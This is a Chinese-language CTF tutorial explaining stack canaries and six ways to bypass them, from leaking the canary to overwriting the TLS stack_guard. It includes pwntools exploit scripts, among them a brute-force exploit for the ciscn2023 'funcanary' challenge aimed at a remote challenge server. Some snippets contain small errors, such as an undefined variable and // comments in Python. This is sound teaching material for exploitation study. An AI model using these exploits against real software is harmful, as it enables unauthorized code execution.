Canary

原理

  • 通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp,eip等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址让shellcode执行。
  • 当启用栈保护时,函数开始执行的时候会先往栈底插入cookie信息,如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie信息覆盖掉,导致栈保护检查失败而阻止shellcode的执行,避免漏洞利用成功。在linux中我们将cookie信息成为canary。

64位系统中其栈结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local var |
Low | |
Address

Canary绕过

  • Canary设计以字节\x00结尾,本意是保证Canary可以截断字符串。泄露栈中的Canary的思路是覆盖Canary的低字节,来打印出剩余的Canary部分。需要合适的输出函数,并且需要先泄露Canary,之后再次溢出控制执行流程。
  • 需要注意:Canary一般最低位是\x00,也就是结尾处,64位程序的canary的大小是8个字节,32位程序的canary的大小是4个字节。
  • canary的位置不一定与ebp存储的位置相邻,具体得看程序的汇编操作,不同编译器在进行编译时canary位置可能出现偏差,有可能ebp与canary之间有字节被随机填充

几种绕过方式:

1.\x00截断泄露canary

利用条件

  • 存在read/printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,泄露canary
    • 第二次是利用canary进行攻击

可以通过read以及puts和printf等函数打印出canary。

通过read函数泄露canary。关键的一点就是read函数读取字符串的时候不会在末尾加上“\x00”,这就是gets和scanf函数不能用来泄露canary的原因,因为他们输入字节数不可控,在输入结束后会在末尾加上“\x00”(有些输出函数遇到‘\0’会截断)。

由于canary以字节\x00结尾,而printf和puts都是遇到’\0’(= \x00)结束,因此,我们可以通过pwntools的sendline发送数据,这样会在发送完数据后默认发送一个换行符,即将canary的最后字节修改为0xa(换行符的ascii码为10),这样puts函数就可以一直读出canary了,获取canary后减去0xa即可。

1
2
3
4
payload = b'a' * offset
io.sendline(payload)
io.recvuntil("b'a' * offset")
canary = u64(io.recv(8)) - 0xa //32位下位u32(io.recv(4)) - 0xa

2.格式化字符串泄露canary

由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p或者%x等当作一个数来读

类同打印函数泄露,对于printf(buf)语句,可以使用格式化字符串漏洞泄露canary,首先确定偏移量(printf偏移+canary距离buf的偏移),其中printf偏移为printf函数的栈顶到main函数中buf变量的偏移,需要手动调试,64位下非字符串类型变量会首先存放在6个寄存器内。

1
2
3
4
payload = b'$offset$x'  // b'$offset$p'
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(18),16)

3.逐字节爆破canary

在某些pwn题中存在fork函数,且程序开启了canary保护,当程序进入到子进程的时候,其canary的值和父进程中canary的值一样,在一定的条件下我们可以将canary爆破出来;需要必备的条件就是程序中存在栈溢出的漏洞,并且可以覆盖到canary的位置,那么我们就可以把canary一位一位的爆破出来。

爆破模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'

io = process(elf)

io.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(7): //64位循环7次,32位循环3
for i in range(256):
payload = b'A'* 0x68 + canary + p8(i) //32位 p8(i)改为chr(i)
io.send(payload)
a = io.recvuntil(b'welcome\n')
if "stack smashing detected" in recv:
continue
else:
#当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
canary += p8(i)
#将其加入已知的canary中,继续爆破下一位
success("Canary =>"+canary)
break
print(canary)

例题:ciscn2023 funcanary

程序很简单,程序中存在fork()函数,并且while(1)循环,且存在栈溢出和后门函数,因此可以爆破canary,由于程序开启了PIE保护,后三位固定,爆破第四位地址即可。

pCTdKfI.png

pCTdutA.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context(log_level = 'debug')

#io = process('./pwn')
io = remote('47.93.249.245', '41984')
elf = ELF('./pwn')

#get canary
io.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
payload = b'A'*0x68 + canary + p8(i)
io.send(payload)
a = io.recvuntil(b'welcome\n')
if b'have fun' in a:
canary += p8(i)
print(canary)
break
#print(b'canary:' + canary)
print(canary)

#get pie
backdoor = 0x1231
for m in range(16):
tmp = m * 16 + 2
payload = b'A'*0x68 + canary + b'deadbeef' + b'\x31' + p8(tmp) //temp爆破倒数第四位。
io.send(payload)
a = io.recvline()
print(a)
if b'flag' in a:
print(a)
break
io.interactive()

4.Stack Smashing leak

当程序返回时检测到canary被修改时,会在程序终止之前会执行__stack_chk_fail函数,打印一段报错文本,打印参数为argv[0]。

因此,当程序中存在栈溢出时,并且溢出的长度可以覆盖掉程序中argv[0]的时候,我们可以通过这种方法打印任意地址上的值,造成任意地址读,若程序中存在flag,可将argv[0]填充为flag,程序报错时会将flag带出来。

例题:easyecho

程序开启了pie,首先泄露pie基地后计算flag的真实地址,之后计算argv[0]变量(默认指向文件名,)与溢出点s的之间的偏移,填充偏移为junk data后将argv[0]填充为flag。

1
2
3
argv0=0x7fffffffdf28
v10=0x7fffffffddc0
payload = cyclic(argv0-v10) + p64(flag_addr)

5.劫持__stack_chk_fail函数

在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行,stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。利用方式就是通过格式化字符串漏洞来修改GOT表中的值。

适用:需要程序未开启FULL RELRO。

6.覆盖 TLS 中储存的 Canary 值

1 插入到栈里的canary是从TLS结构体中的stack_guard成员变量赋值过来的(而函数返回时,会将栈里的canary与TLS中的stack_guard做对比)。主线程中的TLS通常位于mmap映射出来的地址空间里,而位置也比较随机,覆盖的可能性不大;子线程中的TLS则位于线程栈的顶部(高地址处),而这个子线程栈通常也是mmap映射出来的一段内存,这就给了我们栈溢出控制子线程中的TLS机会

2 TLS(Thread Local Storage) 线程局部存储。本身是一种机制,简单来说就是多个线程访问同一个全局变量或者静态变量可能会发生冲突,而这个机制类似于让每个线程都备份了一份全局变量或者静态变量,当前线程只能修改自己这份全局变量或者静态变量并不会影响其他线程的全局变量以及静态变量。

3 glibc实现中,TLS被指向一个segment register fs(x86-64上),它的结构tcbhead_t定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

而上面的stack_guard也就是放到栈里的canary,而在程序里看见的这行代码

xor rdx, fs:28h中的fs寄存器也就指向了TLS这个结构体,而偏移0x28的位置正好是stack_guard,canary是来自于内核生成的一个随机数。

条件:程序中开了一个子线程出来,然后子线程去执行了这个函数。而在子线程调用的这个函数,漏洞是很明显的栈溢出(如下)。特点是溢出的字节数很大。

利用思路:程序是在子线程里有一个很大的栈溢出漏洞,而子线程的栈是mmap映射出来的内存,并且TLS位于栈的顶部(高地址),而fs就是TLS的首地址,0x28的位置就是stack_guard(canary就是拷贝的这个值放到的栈里)。因此我们在子线程里栈溢出去控制TLS里的stack_guard,让其和canary的值一样即可。

如果想要在gdb中获取子线程TLS的首地址可以执行x/x pthread_self()来查看